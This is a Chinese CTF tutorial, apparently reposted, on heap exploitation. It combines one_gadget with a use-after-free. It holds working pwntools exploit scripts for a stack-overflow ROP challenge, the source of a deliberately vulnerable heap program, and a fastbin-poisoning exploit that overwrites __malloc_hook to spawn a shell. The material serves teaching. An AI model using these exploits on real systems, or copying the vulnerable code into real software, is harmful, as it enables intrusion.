One_gadget和UAF结合利用堆溢出漏洞研究

栏目: C · 发布时间: 7年前

内容简介:概述: 通过一道简单的ROP题目理解One_gadget的工作原理,之后利用其提供的ROP链实现堆的UAF漏洞。堆溢出作为CTF的pwn一大题型,非常值得研究。首先要介绍一些两个工具 RopGadget和One_gadget.

One_gadget和UAF结合利用堆溢出漏洞研究

概述: 通过一道简单的ROP题目理解One_gadget的工作原理,之后利用其提供的ROP链实现堆的UAF漏洞。堆溢出作为CTF的pwn一大题型,非常值得研究。

本篇文章是用于有一定栈溢出,并且对堆的利用感兴趣的小伙伴。同时也欢迎各位师傅不吝赐教。

0x01一道简单的ROP题

准备工具:

首先要介绍一些两个工具 RopGadget和One_gadget.

都是用来寻找的ROP链的,其中RopGadget主要是寻找可以供我们自由搭配的ret链。

而One_gadget更为方便,找到的链都是只要调用就直接可以拿 shell 的。

使用之前需要知道程序使用的libc版本,本地程序可以在gdb中使用vmmap查看。

/lib/i386-linux-gnu/libc-2.23.so

$ cp /lib/i386-linux-gnu/libc-2.23.so libc-2.23.so #放到当前目录,方便调试。

这两个 工具 语法一般为

RopGadget —binary /lib路径/libc版本 —only “pop|ret”| grep 寄存器

One_gadget和UAF结合利用堆溢出漏洞研究

One_gadget /lib路径/libc版本

One_gadget则更加方便,只需要知道程序的基址,并且满足下面的条件(例如第一个链 [esp+0x28]==NULL),就能自动生成ROP链。

One_gadget和UAF结合利用堆溢出漏洞研究

题目分析:

主函数没有什么漏洞,于是查看一下pwn函数,read函数有一个非常明显的栈溢出。并且题目还泄露除了read的地址,这样即使开了ASLR也能获得基地址。非常明显地ROP利用。

One_gadget和UAF结合利用堆溢出漏洞研究

One_gadget和UAF结合利用堆溢出漏洞研究

#泄露这个部分本身也需要构造ROP,但是题目降低了难度,直接提供了。

再查看一下保机机制,发现只开了NX(本机还开了ASLR)。没有开CANARY,这样基本上只需要使用ROP就行了。

ROP解法一

#!/usr/bin/env python2
from pwn import *
#libc = ELF('/lib32/libc-2.27.so')
libc=ELF('/lib/i386-linux-gnu/libc-2.23.so')
p = process('./rop32')
#gdb.attach(p,'b execve nc')

p.recvuntil('you:')
#获取基址
libc_base = int(p.recvuntil('n'),16) - libc.symbols['read'] 
print libc_base

#计算/bin/sh和execve的地址
libc_bin_sh = libc_base +  libc.search('/bin/sh').next()
libc_execve = libc_base + libc.symbols['execve'] 

#构造ROP链
send = 'a' * 0x3e + p32(libc_execve) + p32(0)  + p32(libc_bin_sh) + p32(0) * 2    

p.sendline(send)
p.interactive()

除了使用自己构造ROP链,还可以使用one_gadget查找出的gadget地址。

ROP解法二

#!/usr/bin/python2.7
from pwn import *

libc=ELF('libc-2.23.so')
p=process('./rop32')

#gdb.attach(p)
#context.log_level='debug'
p.recvuntil('let me help you:')
libc_base=int(p.recvuntil('n'),16)-libc.symbols['read']
print "libc_base="+hex(libc_base)

One_gadget=libc_base+0x3ac5e #from one_gadget libc-2.23.so
payload="A"*0x3e+p32(One_gadget) 

p.sendline(payload)
p.interactive()

One_gadget和UAF结合利用堆溢出漏洞研究

经过上面测试,可以发现,one_gadget是只需要一个地址就能完成getshell的。这种特性在堆溢出中非常重要。所以one_gadget在堆溢出中更加经常被使用。

0x02 UAF漏洞利用

UAF全称Use After Free

利用的是修改被Free的空间指针,达到任意代码执行的目的。

需要掌握的两个调试技巧:

1.$ set {unsigned char} 0x555555757420 =0x70 #修改内存

2.Ctrl+c#gdb中断程序

漏洞代码:

#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

void helpinfo()
{
    printf("0: exitn1: mallocn2: writen3: readn4: freen");
}

int main()
{
    long action;
    char *buf[20];
    long len;
    long t,i;
    setbuf(stdout, NULL);
    // alarm(10);
    printf("Welcome to CTFn");
    printf("read:%pn",&read);
    helpinfo();

    while(1)
    {
     scanf("%ld",&action);

     switch(action)
     {
         case 0:
             printf("GoodBye!n");
             return 0;
             break;
         case 1: // malloc
             printf("index:");
             scanf("%ld",&t);
             if(t>=21 || t<0)
             {
                 printf("out of range!n");
                 break;
             }
             buf[t] = malloc(32); #分配32个字节
             printf("result: %pn",buf[t]); 
             break;
         case 2: // write
             printf("index:");
             scanf("%ld",&i);
             if(i>=21 || i<0)
             {
                   printf("out of range!n");
                   break;
             }

             printf("length to write:");

             scanf("%ld",&len);
             read(0,buf[t],len);
             printf("OK!n");

             break;

         case 3: // read
             printf("index:");
             scanf("%ld",&i);
             if(i>=21 || i<0)
             {
                   printf("out of range!n");
                   break;
             }

             printf("length to read:");

             scanf("%ld",&len);
             write(1,buf[t],len);
             printf("OK!n");

             break;
         case 4: // free
             printf("index:");
             scanf("%ld",&t);
             if(t>=21 || t<0)
             {
                 printf("out of range!n");
                 break;
             }
             free(buf[t]);
             printf("OK!n"); 
             break;
         default:
             helpinfo();
             break;
    }
    char c;
     do {
      c = getchar();
     }
     while (!isdigit(c));
     ungetc(c, stdin);
  }
  return 0;
}

Glibc分析:

先来通过调试程序,理解堆内存分配方式。

#通过阅读漏洞源码可知,每次分配32个字节(0x20)

One_gadget和UAF结合利用堆溢出漏洞研究

两次分配的地址分别是0x555555757420和0x555555757450

两者之间是相差0x30字节(而不是0x20)观察0x555555757420-0x10就能发现,对内存前面会0x8个字节用来存放堆块的信息(如这里每个堆块的头都包含0x31这个数字)

所以堆块分布为 堆块0:{ {头部:0x555555757418-~1f} 0x555555757420->~47 }

堆块1:{ {头部:0x55555575748-~4f} 0x555555757450->~70 }

One_gadget和UAF结合利用堆溢出漏洞研究

接下来将两个堆内存free掉。

首先Free掉第一个内存,但是查看堆空间,并没有什么变化。

Free只是一个标志,并不会修改内存空间。

被Free掉内存地址会被保存在一个地方,留给下次malloc申请时候使用。

但是观察内存中并没有保存任何数据#剧透一下实际上是被保存在libc的某一个地方。

One_gadget和UAF结合利用堆溢出漏洞研究

One_gadget和UAF结合利用堆溢出漏洞研究

接下来Free掉第二个内存。发现被Free掉的内存,存储了这块内存指向的下一块内存。

One_gadget和UAF结合利用堆溢出漏洞研究

One_gadget和UAF结合利用堆溢出漏洞研究

再次申请一下就会发现 ,第二次申请会申请到这个地址存储的地址。

#第一次申请申请到的地址之前被存储在了glibc的某处。

#研究过glibc堆分配机制就会知道这是fast bin#我们会在下面给出原理分析。

One_gadget和UAF结合利用堆溢出漏洞研究

FastBin分析

大概格式就是如下图所示,fastbins是一条链表(红色)。被free的chunk块,如果会根据大小分类,同一大小的会被fd指针串在一起(绿色)。第一个被free的内存块chunk,地址是存储在fastbin中的,第二个chunk被free时候,fastbin中存储的上一个chunk的地址会被保存到第二个chunk的fd中,而fashbin中存储的地址则是第二个chunk的。相当于链表的头插法

如果malloc,就是free的逆向。每次malloc就删去链表头。就不浪费篇幅了。

One_gadget和UAF结合利用堆溢出漏洞研究

如果在再次malloc申请之前,把这个fd内存的数据修改掉会怎么样呢。

One_gadget和UAF结合利用堆溢出漏洞研究

使用命令 set修改内存数据

set {unsigned char} 地址=0x10 #修改一个字节(char)数据为0x10

One_gadget和UAF结合利用堆溢出漏洞研究

再次申请,第一次申请是正常的。第二次申请,却申请了我们指定的地址+0x10 #这就成功改变了堆的申请地址。

One_gadget和UAF结合利用堆溢出漏洞研究

利用原理:

我们成功申请了一块内存到我们指定的位置。配合上这道题的write,就能完成任意地址任意数据的写入。

这里还需要介绍一个,函数叫做__malloc_hook,在libc中。每次malloc调用之前,都会被这个函数hook,所以,我们这次利用的思路就是将这个malloc_hook内部覆盖为one_gadget的地址。然后再调用一次malloc,就会自动弹出shell。

获取参数:

所以我们需要找到 malloc_hook函数的地址

将libc文件放入IDA中 #注意这道题的libc和上一题不同

查看view ->export导出文件

One_gadget和UAF结合利用堆溢出漏洞研究

能够获取malloc_hook的地址为0x1B2768

One_gadget和UAF结合利用堆溢出漏洞研究

如果开启了ASLR,还需要获取read的地址,使用程序开头泄露的read地址,用来计算基址。可以通过IDA直接查询,就不细说了。

脚本编写:

下面出漏洞利用脚本和分析,通过阅读exp也能提升对漏洞的理解。

---------Exp.py-----------

#!/usr/bin/python2.7
from pwn import *
context.log_level = 'debug'
p=process('./heap')
p.recvuntil('read:')
libc_read = int(p.recvline(),16)

def malloc(index):
    p.sendline('1')
    p.recvuntil('index:')
    p.sendline(str(index))
    p.recv()

def free(index):
    p.sendline('4')
    p.recvuntil('index:')
    p.sendline(str(index))
    p.recv()

def write(index,data):
    p.sendline('2')
    p.recvuntil('index:')
    p.sendline(str(index))
    p.recvuntil('to write:')
    p.sendline(str(len(data)))
    p.sendline(data)
    p.recv()

#先申请两块内存,然后释放。
malloc(0)
malloc(1)
free(0)
free(1)
base_addr=libc_read - 0xF7250
malloc_hook_addr = base_addr + 0x1B2768-0x21 #malloc_hook的地址-0x21#防止检查机制
gadget = base_addr + 0x3ac5e 

#将malloc_hook的地址写入被free的内存1中 #内存数据没有被删除,只是标记的被free
write(1,p64(malloc_hook_addr))
malloc(1)
malloc(0) #申请第二块内存,会读取内存1中存储的指针。指针此时已经被标记为malloc_hook的位置。
write(0,'1'*0x21 + p64(gadget)) #向内存块中写入gadget #此时的内存0是malloc_hook地址-0x21。

#再次申请内存,malloc会调用malloc_hook函数,所以就会执行gadget。拿到shell
p.sendline('1')
p.recvuntil('index:')
p.sendline(str(9))
p.interactive()

One_gadget和UAF结合利用堆溢出漏洞研究

总结:

之前一直不敢碰堆溢出漏洞,每次开始读glibc分配内存就会觉得非常枯燥。所以一直都没有尝试,直到大佬和我讲,先动手调试,调着调着就会了。果然,实际尝试一遍了之后,发现实际堆并没有这么复杂,那些理论反而是阻碍我学习的主要原因。

调试这个漏洞的时候遇到很多问题,直到最后我自己的服务器都没有里都没有利用成功(可能是环境问题),都是在别人的电脑里实现的。不过遇到很多问题,反而让逼着我去啃glibc的原理,反而学会了很多东西。

所以,给初学者一点建议,学习漏洞利用,一定要多调试,在调试的过程中加固对理论的理解。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Web Caching

Web Caching

Duane Wessels / O'Reilly Media, Inc. / 2001-6 / 39.95美元

On the World Wide Web, speed and efficiency are vital. Users have little patience for slow web pages, while network administrators want to make the most of their available bandwidth. A properly design......一起来看看 《Web Caching》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具